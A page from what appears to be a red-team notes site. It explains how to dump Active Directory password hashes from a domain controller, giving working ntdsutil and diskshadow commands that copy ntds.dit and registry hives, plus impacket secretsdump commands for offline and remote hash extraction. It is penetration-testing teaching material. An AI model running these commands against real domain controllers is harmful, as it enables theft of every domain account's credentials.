Red Team Notes
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  • Pinned
    • Pentesting Cheatsheets
      • SQL Injection & XSS Playground
    • Active Directory & Kerberos Abuse
      • From Domain Admin to Enterprise Admin
      • Kerberoasting
      • Kerberos: Golden Tickets
      • Kerberos: Silver Tickets
      • AS-REP Roasting
      • Kerberoasting: Requesting RC4 Encrypted TGS when AES is Enabled
      • Kerberos Unconstrained Delegation
      • Kerberos Constrained Delegation
      • Kerberos Resource-based Constrained Delegation: Computer Object Takeover
      • Domain Compromise via DC Print Server and Kerberos Delegation
      • DCShadow - Becoming a Rogue Domain Controller
      • DCSync: Dump Password Hashes from Domain Controller
      • PowerView: Active Directory Enumeration
      • Abusing Active Directory ACLs/ACEs
      • Privileged Accounts and Token Privileges
      • From DnsAdmins to SYSTEM to Domain Compromise
      • Pass the Hash with Machine$ Accounts
      • BloodHound with Kali Linux: 101
      • Backdooring AdminSDHolder for Persistence
      • Active Directory Enumeration with AD Module without RSAT or Admin Privileges
      • Enumerating AD Object Permissions with dsacls
      • Active Directory Password Spraying
      • Active Directory Lab with Hyper-V and PowerShell
      • ADCS + PetitPotam NTLM Relay: Obtaining krbtgt Hash with Domain Controller Machine Certificate
      • From Misconfigured Certificate Template to Domain Admin
      • Shadow Credentials
      • Abusing Trust Account$: Accessing Resources on a Trusted Domain from a Trusting Domain
  • offensive security
    • Red Team Infrastructure
      • HTTP Forwarders / Relays
      • SMTP Forwarders / Relays
      • Phishing with Modlishka Reverse HTTP Proxy
      • Automating Red Team Infrastructure with Terraform
      • Cobalt Strike 101
      • Powershell Empire 101
      • Spiderfoot 101 with Kali using Docker
    • Initial Access
      • Password Spraying Outlook Web Access: Remote Shell
      • Phishing with MS Office
        • Phishing: XLM / Macro 4.0
        • T1173: Phishing - DDE
        • T1137: Phishing - Office Macros
        • Phishing: OLE + LNK
        • Phishing: Embedded Internet Explorer
        • Phishing: .SLK Excel
        • Phishing: Replacing Embedded Video with Bogus Payload
        • Inject Macros from a Remote Dotm Template
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        • Phishing: Embedded HTML Forms
      • Phishing with GoPhish and DigitalOcean
      • Forced Authentication
      • NetNTLMv2 hash stealing using Outlook
    • Code Execution
      • regsvr32
      • MSHTA
      • Control Panel Item
      • Executing Code as a Control Panel Item through an Exported Cplapplet Function
      • Code Execution through Control Panel Add-ins
      • CMSTP
      • InstallUtil
      • Using MSBuild to Execute Shellcode in C#
      • Forfiles Indirect Command Execution
      • Application Whitelisting Bypass with WMIC and XSL
      • Powershell Without Powershell.exe
      • Powershell Constrained Language Mode Bypass
      • Forcing Iexplore.exe to Load a Malicious DLL via COM Abuse
      • pubprn.vbs Signed Script Code Execution
    • Code & Process Injection
      • CreateRemoteThread Shellcode Injection
      • DLL Injection
      • Reflective DLL Injection
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      • Loading and Executing Shellcode From PE Resources
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      • Shellcode Execution in a Local Process with QueueUserAPC and NtTestAlert
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      • Injecting to Remote Process via Thread Hijacking
      • SetWindowHookEx Code Injection
      • Finding Kernel32 Base and Function Addresses in Shellcode
      • Executing Shellcode with Inline Assembly in C/C++
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      • Backdooring PE Files with Shellcode
      • NtCreateSection + NtMapViewOfSection Code Injection
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      • PE Injection: Executing PEs inside Remote Processes
      • API Monitoring and Hooking for Offensive Tooling
      • Windows API Hooking
      • Import Adress Table (IAT) Hooking
      • DLL Injection via a Custom .NET Garbage Collector
      • Writing and Compiling Shellcode in C
      • Injecting .NET Assembly to an Unmanaged Process
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        • 32-bit Stack-based Buffer Overflow
        • 64-bit Stack-based Buffer Overflow
        • Return-to-libc / ret2libc
        • ROP Chaining: Return Oriented Programming
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        • Format String Bug
    • Defense Evasion
      • AV Bypass with Metasploit Templates and Custom Binaries
      • Evading Windows Defender with 1 Byte Change
      • Bypassing Windows Defender: One TCP Socket Away From Meterpreter and Beacon Sessions
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      • Windows API Hashing in Malware
      • Detecting Hooked Syscalls
      • Calling Syscalls Directly from Visual Studio to Bypass AVs/EDRs
      • Retrieving ntdll Syscall Stubs from Disk at Run-time
      • Full DLL Unhooking with C++
      • Enumerating RWX Protected Memory Regions for Code Injection
      • Disabling Windows Event Logs by Suspending EventLog Service Threads
      • Obfuscated Powershell Invocations
      • Masquerading Processes in Userland via _PEB
      • Commandline Obfusaction
      • File Smuggling with HTML and JavaScript
      • Timestomping
      • Alternate Data Streams
      • Hidden Files
      • Encode/Decode Data with Certutil
      • Downloading Files with Certutil
      • Packed Binaries
      • Unloading Sysmon Driver
      • Bypassing IDS Signatures with Simple Reverse Shells
      • Preventing 3rd Party DLLs from Injecting into your Malware
      • ProcessDynamicCodePolicy: Arbitrary Code Guard (ACG)
      • Parent Process ID (PPID) Spoofing
      • Executing C# Assemblies from Jscript and wscript with DotNetToJscript
    • Enumeration and Discovery
      • Windows Event IDs and Others for Situational Awareness
      • Enumerating COM Objects and their Methods
      • Enumerating Users without net, Services without sc and Scheduled Tasks without schtasks
      • Enumerating Windows Domains with rpcclient through SocksProxy == Bypassing Command Line Logging
      • Dump Global Address List (GAL) from OWA
      • Application Window Discovery
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      • Using COM to Enumerate Hostname, Username, Domain, Network Drives
      • Detecting Sysmon on the Victim Host
    • Privilege Escalation
      • Primary Access Token Manipulation
      • Windows NamedPipes 101 + Privilege Escalation
      • DLL Hijacking
      • WebShells
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      • Environment Variable $Path Interception
      • Weak Service Permissions
    • Credential Access & Dumping
      • Dumping Credentials from Lsass Process Memory with Mimikatz
      • Dumping Lsass Without Mimikatz
      • Dumping Lsass without Mimikatz with MiniDumpWriteDump
      • Dumping Hashes from SAM via Registry
      • Dumping SAM via esentutl.exe
      • Dumping LSA Secrets
      • Dumping and Cracking mscash - Cached Domain Credentials
      • Dumping Domain Controller Hashes Locally and Remotely
      • Dumping Domain Controller Hashes via wmic and Vssadmin Shadow Copy
      • Network vs Interactive Logons
      • Reading DPAPI Encrypted Secrets with Mimikatz and C++
      • Credentials in Registry
      • Password Filter
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      • Dumping Delegated Default Kerberos and NTLM Credentials w/o Touching Lsass
      • Intercepting Logon Credentials via Custom Security Support Provider and Authentication Packages
      • Pulling Web Application Passwords by Hooking HTML Input Fields
      • Intercepting Logon Credentials by Hooking msv1_0!SpAcceptCredentials
      • Credentials Collection via CredUIPromptForCredentials
    • Lateral Movement
      • WinRM for Lateral Movement
      • WinRS for Lateral Movement
      • WMI for Lateral Movement
      • RDP Hijacking for Lateral Movement with tscon
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      • Simple TCP Relaying with NetCat
      • Empire Shells with NetNLTMv2 Relaying
      • Lateral Movement with Psexec
      • From Beacon to Interactive RDP Session
      • SSH Tunnelling / Port Forwarding
      • Lateral Movement via WMI Event Subscription
      • Lateral Movement via DLL Hijacking
      • Lateral Movement over headless RDP with SharpRDP
      • Man-in-the-Browser via Chrome Extension
      • ShadowMove: Lateral Movement by Duplicating Existing Sockets
    • Persistence
      • DLL Proxying for Persistence
      • Schtask
      • Service Execution
      • Sticky Keys
      • Create Account
      • AddMonitor()
      • NetSh Helper DLL
      • Abusing Windows Managent Instrumentation
        • WMI as a Data Storage
      • Windows Logon Helper
      • Hijacking Default File Extension
      • Persisting in svchost.exe with a Service DLL
      • Modifying .lnk Shortcuts
      • Screensaver Hijack
      • Application Shimming
      • BITS Jobs
      • COM Hijacking
      • SIP & Trust Provider Hijacking
      • Hijacking Time Providers
      • Installing Root Certificate
      • Powershell Profile Persistence
      • RID Hijacking
      • Word Library Add-Ins
      • Office Templates
    • Exfiltration
      • Powershell Payload Delivery via DNS using Invoke-PowerCloud
  • reversing, forensics & misc
    • Internals
      • Configuring Kernel Debugging Environment with kdnet and WinDBG Preview
      • Compiling a Simple Kernel Driver, DbgPrint, DbgView
      • Loading Windows Kernel Driver for Debugging
      • Subscribing to Process Creation, Thread Creation and Image Load Notifications from a Kernel Driver
      • Listing Open Handles and Finding Kernel Object Addresses
      • Sending Commands From Your Userland Program to Your Kernel Driver using IOCTL
      • Windows Kernel Drivers 101
      • Windows x64 Calling Convention: Stack Frame
      • Linux x64 Calling Convention: Stack Frame
      • System Service Descriptor Table - SSDT
      • Interrupt Descriptor Table - IDT
      • Token Abuse for Privilege Escalation in Kernel
      • Manipulating ActiveProcessLinks to Hide Processes in Userland
      • ETW: Event Tracing for Windows 101
      • Exploring Injected Threads
      • Parsing PE File Headers with C++
      • Instrumenting Windows APIs with Frida
      • Exploring Process Environment Block
      • Writing a Custom Bootloader
    • Cloud
      • AWS Accounts, Users, Groups, Roles, Policies
    • Neo4j
    • Dump Virtual Box Memory
    • AES Encryption Using Crypto++ .lib in Visual Studio C++
    • Reversing Password Checking Routine
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On this page
  • No Credentials - ntdsutil
  • No Credentials - diskshadow
  • With Credentials
  • References
  1. offensive security
  2. Credential Access & Dumping

Dumping Domain Controller Hashes Locally and Remotely

Dumping NTDS.dit with Active Directory users hashes

PreviousDumping and Cracking mscash - Cached Domain CredentialsNextDumping Domain Controller Hashes via wmic and Vssadmin Shadow Copy

Last updated 5 years ago

No Credentials - ntdsutil

If you have no credentials, but you have access to the DC, it's possible to dump the ntds.dit using a lolbin ntdsutil.exe:

powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"

We can see that the ntds.dit and SYSTEM as well as SECURITY registry hives are being dumped to c:\temp:

We can then dump password hashes offline with impacket:

root@~/tools/mitre/ntds# /usr/bin/impacket-secretsdump -system SYSTEM -security SECURITY -ntds ntds.dit local

No Credentials - diskshadow

On Windows Server 2008+, we can use diskshadow to grab the ntdis.dit.

Create a shadowdisk.exe script instructing to create a new shadow disk copy of the disk C (where ntds.dit is located in our case) and expose it as drive Z:\

shadow.txt
set context persistent nowriters
set metadata c:\exfil\metadata.cab
add volume c: alias trophy
create
expose %someAlias% z:

...and now execute the following:

mkdir c:\exfil
diskshadow.exe /s C:\users\Administrator\Desktop\shadow.txt
cmd.exe /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit

Below shows the ntds.dit got etracted and placed into our c:\exfil folder:

Inside interactive diskshadow utility, clean up the shadow volume:

diskshadow.exe
    > delete shadows volume trophy
    > reset

With Credentials

If you have credentials for an account that can log on to the DC, it's possible to dump hashes from NTDS.dit remotely via RPC protocol with impacket:

impacket-secretsdump -just-dc-ntlm offense/administrator@10.0.0.6

References

Attack Methods for Gaining Domain Admin Rights in Active DirectoryActive Directory Security
https://www.trustwave.com/Resources/SpiderLabs-Blog/Tutorial-for-NTDS-goodness-(VSSADMIN,-WMIS,-NTDS-dit,-SYSTEM)/www.trustwave.com
LogoDiskShadow: The Return of VSS Evasion, Persistence, and Active Directory Database Extractionbohops